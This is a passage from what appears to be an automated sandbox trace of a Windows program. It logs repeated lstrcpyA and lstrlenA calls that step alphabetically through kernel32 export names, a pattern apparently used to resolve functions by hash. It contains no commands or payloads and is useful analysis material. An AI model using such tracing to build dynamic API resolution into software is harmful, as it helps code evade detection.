(in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0119.993] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0119.994] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0119.994] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0119.994] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0119.994] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0119.994] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0119.994] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0119.994] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0119.994] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0119.994] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0119.994] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0119.994] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0119.994] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0119.994] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0119.994] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0119.994] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0119.994] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0119.994] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0119.994] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0119.994] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0119.995] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0119.995] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0119.995] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0119.995] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0119.995] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0119.995] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0119.995] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0119.995] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0119.995] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0119.995] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0119.995] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0119.995] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0119.995] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0119.995] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0119.995] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0119.995] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0119.995] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0119.995] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0119.995] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0119.996] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0119.996] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0119.996] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0119.996] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0119.996] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0119.996] lstrlenA (lpString="BEEP") returned 4 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0119.996] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0119.996] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0119.996] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0119.996] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0119.996] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0119.996] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0119.996] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0119.996] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0119.996] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0119.996] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0119.996] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0119.996] lstrlenA (lpString="CANCELIO") returned 8 [0119.996] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0119.996] lstrlenA (lpString="CANCELIOEX") returned 10 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0119.997] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0119.997] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0119.997] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0119.997] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0119.997] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0119.997] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0119.997] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0119.997] lstrlenA (lpString="CHECKELEVATION") returned 14 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0119.997] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0119.997] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0119.997] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0119.997] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0119.997] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0119.997] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0119.997] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0119.997] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0119.997] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0119.997] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0119.997] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0119.998] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0119.998] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0119.998] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0119.998] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0119.998] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0119.998] lstrlenA (lpString="CLOSESTATE") returned 10 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0119.998] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0119.998] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0119.998] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0119.998] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0119.998] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0119.998] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0119.998] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0119.998] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0119.998] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0119.998] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0119.998] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0119.998] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0119.998] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0119.998] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0119.999] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0119.999] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0119.999] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0119.999] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0119.999] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0119.999] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0119.999] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0119.999] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0119.999] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0119.999] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0119.999] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0119.999] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0119.999] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0119.999] lstrlenA (lpString="COPYCONTEXT") returned 11 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0119.999] lstrlenA (lpString="COPYFILE2") returned 9 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0119.999] lstrlenA (lpString="COPYFILEA") returned 9 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0119.999] lstrlenA (lpString="COPYFILEEXA") returned 11 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0119.999] lstrlenA (lpString="COPYFILEEXW") returned 11 [0119.999] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0120.000] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0120.000] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0120.000] lstrlenA (lpString="COPYFILEW") returned 9 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0120.000] lstrlenA (lpString="COPYLZFILE") returned 10 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0120.000] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0120.000] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0120.000] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0120.000] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0120.000] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0120.000] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | 